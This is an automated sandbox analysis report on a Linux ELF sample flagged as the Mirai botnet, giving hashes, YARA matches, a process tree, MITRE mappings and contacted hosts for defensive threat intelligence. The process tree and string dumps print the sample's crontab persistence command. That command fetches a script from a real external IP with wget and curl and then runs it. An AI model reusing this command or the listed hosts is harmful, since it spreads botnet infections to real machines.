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Linux Analysis Report
i486.elf

Overview

General Information

Sample name:	i486.elf
Analysis ID:	1646362
MD5:	7976a51de0ffc063dddbb9c529023b8a
SHA1:	87b57c06f8c96163d68cac7658280effd5c1ce60
SHA256:	7604c198c8debbdbe38dd87ba05d8e68ed105c13d1376adf68a1d7a21e315c8f
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Executes the "crontab" command typically for achieving persistence

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sleeps for long times indicative of sandbox evasion

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1646362
Start date and time:	2025-03-23 23:12:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	i486.elf
Detection:	MAL
Classification:	mal80.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/i486.elf
PID:	5490
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	we kinda rocking ngl
Standard Error:

Process Tree

system is lnxubuntu20

i486.elf (PID: 5490, Parent: 5406, MD5: 7976a51de0ffc063dddbb9c529023b8a) Arguments: /tmp/i486.elf

i486.elf New Fork (PID: 5491, Parent: 5490)

i486.elf New Fork (PID: 5492, Parent: 5491)

i486.elf New Fork (PID: 5496, Parent: 5491)

i486.elf New Fork (PID: 5497, Parent: 5491)

i486.elf New Fork (PID: 5498, Parent: 5491)

sh (PID: 5498, Parent: 5491, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"

sh New Fork (PID: 5499, Parent: 5498)

sh New Fork (PID: 5501, Parent: 5499)

crontab (PID: 5501, Parent: 5499, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

sh New Fork (PID: 5502, Parent: 5499)

chmod (PID: 5502, Parent: 5499, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x bins.sh

sh New Fork (PID: 5503, Parent: 5499)

sh (PID: 5503, Parent: 5499, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh bins.sh

sh New Fork (PID: 5504, Parent: 5499)

curl (PID: 5504, Parent: 5499, MD5: add6bc2195e82c55985ccf49fd4048e6) Arguments: /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh

sh New Fork (PID: 5500, Parent: 5498)

crontab (PID: 5500, Parent: 5498, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
i486.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
i486.elf	Linux_Trojan_Mirai_122ff2e6	unknown	unknown	0xaadb:$a: 24 EB 15 89 F0 83 C8 01 EB 03 8B 5B 08 3B 43 04 72 F8 8B 4B 0C 89
i486.elf	Linux_Trojan_Mirai_fa48b592	unknown	unknown	0xe971:$a: 31 C0 BA 01 00 00 00 B9 01 00 00 00 03 04 24 89 D7 31 D2 F7 F7 0F 0xe99f:$a: 31 C0 BA 01 00 00 00 B9 01 00 00 00 03 04 24 89 D7 31 D2 F7 F7 0F
i486.elf	Linux_Trojan_Mirai_6e8e9257	unknown	unknown	0x1652:$a: 53 83 EC 04 8B 5C 24 18 8B 7C 24 20 8A 44 24 14 8A 54 24 1C 88 54 0x16c2:$a: 53 83 EC 04 8B 5C 24 18 8B 7C 24 20 8A 44 24 14 8A 54 24 1C 88 54

Memory Dumps

Source	Rule	Description	Author	Strings
5490.1.0000000008048000.0000000008059000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5490.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_122ff2e6	unknown	unknown	0xaadb:$a: 24 EB 15 89 F0 83 C8 01 EB 03 8B 5B 08 3B 43 04 72 F8 8B 4B 0C 89
5490.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_fa48b592	unknown	unknown	0xe971:$a: 31 C0 BA 01 00 00 00 B9 01 00 00 00 03 04 24 89 D7 31 D2 F7 F7 0F 0xe99f:$a: 31 C0 BA 01 00 00 00 B9 01 00 00 00 03 04 24 89 D7 31 D2 F7 F7 0F
5490.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_6e8e9257	unknown	unknown	0x1652:$a: 53 83 EC 04 8B 5C 24 18 8B 7C 24 20 8A 44 24 14 8A 54 24 1C 88 54 0x16c2:$a: 53 83 EC 04 8B 5C 24 18 8B 7C 24 20 8A 44 24 14 8A 54 24 1C 88 54

Shell command executed: /bin/sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"

Jump to behavior

Source: /bin/sh (PID: 5502)

Chmod executable: /usr/bin/chmod -> chmod +x bins.sh

Jump to behavior

Source: /tmp/i486.elf (PID: 5497)	Sleeps longer then 60s: 60.0s			Jump to behavior
Source: /tmp/i486.elf (PID: 5497)	Sleeps longer then 60s: 60.0s			Jump to behavior

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: i486.elf, type: SAMPLE
Source: Yara match	File source: 5490.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: i486.elf, type: SAMPLE
Source: Yara match	File source: 5490.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 Virtualization/Sandbox Evasion	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	1 File and Directory Permissions Modification	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Hidden Files and Directories	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
i486.elf	33%	Virustotal		Browse
i486.elf	31%	ReversingLabs	Linux.Backdoor.Bashlite
i486.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.znet.homes	155.138.230.16	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://155.138.230.16/bins/bins.sh;	i486.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
155.138.230.16	api.znet.homes	United States		20473	AS-CHOOPAUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
155.138.230.16	i586.elf	Get hash	malicious	Mirai	Browse
	m68k.elf	Get hash	malicious	Mirai	Browse
	sparc.elf	Get hash	malicious	Mirai	Browse
	armv4l.elf	Get hash	malicious	Mirai	Browse
	x86_64.elf	Get hash	malicious	Mirai	Browse
	armv6l.elf	Get hash	malicious	Mirai	Browse
	sh4.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Mirai	Browse
	mipsel.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.znet.homes	i586.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	m68k.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	sparc.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	armv4l.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	x86_64.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	armv6l.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	sh4.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	i686.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	mips.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	mipsel.elf	Get hash	malicious	Mirai	Browse	155.138.230.16

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-CHOOPAUS	i586.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	m68k.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	sparc.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	armv4l.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	x86_64.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	armv6l.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	sh4.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	i686.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	mips.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	mipsel.elf	Get hash	malicious	Mirai	Browse	155.138.230.16

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Source: i486.elf	Virustotal: Detection: 32%			Perma Link
Source: i486.elf	ReversingLabs: Detection: 30%

Source: i486.elf	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogi486->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
Source: i486.elf	String: /bin/bash -c "/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: i486.elf	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrc

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: i486.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_122ff2e6 Author: unknown
Source: i486.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_fa48b592 Author: unknown
Source: i486.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_6e8e9257 Author: unknown
Source: 5490.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_122ff2e6 Author: unknown
Source: 5490.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa48b592 Author: unknown
Source: 5490.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6e8e9257 Author: unknown

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogi486->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd

Source: /bin/sh (PID: 5501)	Crontab executable: /usr/bin/crontab -> crontab -l			Jump to behavior
Source: /bin/sh (PID: 5500)	Crontab executable: /usr/bin/crontab -> crontab -			Jump to behavior

Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/230/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/230/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/230/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/230/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/110/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/110/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/110/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/110/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/231/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/231/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/231/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/231/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/111/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/111/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/111/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/111/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/232/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/232/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/232/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/232/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/112/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/112/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/112/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/112/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/233/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/233/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/233/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/233/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/113/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/113/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/113/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/113/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/234/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/234/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/234/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/234/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/114/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/114/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/114/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/114/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/235/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/235/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/235/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/235/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/115/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/115/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/115/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/115/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/236/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/236/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/236/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/236/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/116/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/116/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/116/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/116/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/237/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/237/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/237/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/237/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/117/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/117/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/117/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/117/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/238/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/238/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/238/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/238/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/118/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/118/fd	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/118/stat	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/i486.elf (PID: 5492)	File opened: /proc/118/fd	Jump to behavior

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.5229481356492665
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	i486.elf
File size:	76'540 bytes
MD5:	7976a51de0ffc063dddbb9c529023b8a
SHA1:	87b57c06f8c96163d68cac7658280effd5c1ce60
SHA256:	7604c198c8debbdbe38dd87ba05d8e68ed105c13d1376adf68a1d7a21e315c8f
SHA512:	3cbed847017a3a8f831eb4316cf508fc4d8c48eb360eb1eb0433d662a9b023f36e73e859a1682ec4f0e04f0798bb9837fbf2a6001cbb7dd04a846a8a7462fbda
SSDEEP:	1536:o+3b7ErnwrnF/cHOyffrvXubzm5AfCQLZoXSRf5Z3V:oab7WnwzF/cHrffr/ubNCimwhZ3V
TLSH:	2C735AC69753DDB6C84311F411F3FB7A5A31FC672228C892C7B9FF8269525D0618A32A
File Content Preview:	.ELF........................4....(......4. ...(...................../.../................................\|..............L...L...L...................Q.td............................U..S............x....#...[]...$.............U......=.....t..D..............

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048194
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	4
Section Header Offset:	75940
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80480b4	0xb4	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480d0	0xd0	0xef54	0x0	0x6	AX	16
.fini	PROGBITS	0x8057024	0xf024	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8057040	0xf040	0x1aef	0x0	0x2	A	32
.eh_frame	PROGBITS	0x8059000	0x11000	0x84c	0x0	0x3	WA	4
.tbss	NOBITS	0x805984c	0x1184c	0x8	0x0	0x403	WAT	4
.ctors	PROGBITS	0x805984c	0x1184c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8059854	0x11854	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x805985c	0x1185c	0x4	0x0	0x3	WA	4
.got.plt	PROGBITS	0x8059860	0x11860	0xc	0x4	0x3	WA	4
.data	PROGBITS	0x8059880	0x11880	0x250	0x0	0x3	WA	32
.bss	NOBITS	0x8059ae0	0x11ad0	0x71a0	0x0	0x3	WA	32
.comment	PROGBITS	0x0	0x11ad0	0xd6e	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1283e	0x65	0x0	0x0		1

Source: i486.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_122ff2e6 reference_sample = c7dd999a033fa3edc1936785b87cd69ce2f5cac5a084ddfaf527a1094e718bc4, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3c9ffd7537e30a21eefa6c174f801264b92a85a1bc73e34e6dc9e29f84658348, id = 122ff2e6-56e6-4aa8-a3ec-c19d31eb1f80, last_modified = 2021-09-16
Source: i486.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_fa48b592 reference_sample = c9e33befeec133720b3ba40bb3cd7f636aad80f72f324c5fe65ac7af271c49ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 8838d2752b310dbf7d12f6cf023244aaff4fdf5b55cf1e3b71843210df0fcf88, id = fa48b592-8d80-45af-a3e4-232695b8f5dd, last_modified = 2021-09-16
Source: i486.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_6e8e9257 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4bad14aebb0b8c7aa414f38866baaf1f4b350b2026735de24bcf2014ff4b0a6a, id = 6e8e9257-a6d5-407a-a584-4656816a3ddc, last_modified = 2021-09-16
Source: 5490.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_122ff2e6 reference_sample = c7dd999a033fa3edc1936785b87cd69ce2f5cac5a084ddfaf527a1094e718bc4, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3c9ffd7537e30a21eefa6c174f801264b92a85a1bc73e34e6dc9e29f84658348, id = 122ff2e6-56e6-4aa8-a3ec-c19d31eb1f80, last_modified = 2021-09-16
Source: 5490.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa48b592 reference_sample = c9e33befeec133720b3ba40bb3cd7f636aad80f72f324c5fe65ac7af271c49ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 8838d2752b310dbf7d12f6cf023244aaff4fdf5b55cf1e3b71843210df0fcf88, id = fa48b592-8d80-45af-a3e4-232695b8f5dd, last_modified = 2021-09-16
Source: 5490.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6e8e9257 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4bad14aebb0b8c7aa414f38866baaf1f4b350b2026735de24bcf2014ff4b0a6a, id = 6e8e9257-a6d5-407a-a584-4656816a3ddc, last_modified = 2021-09-16

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
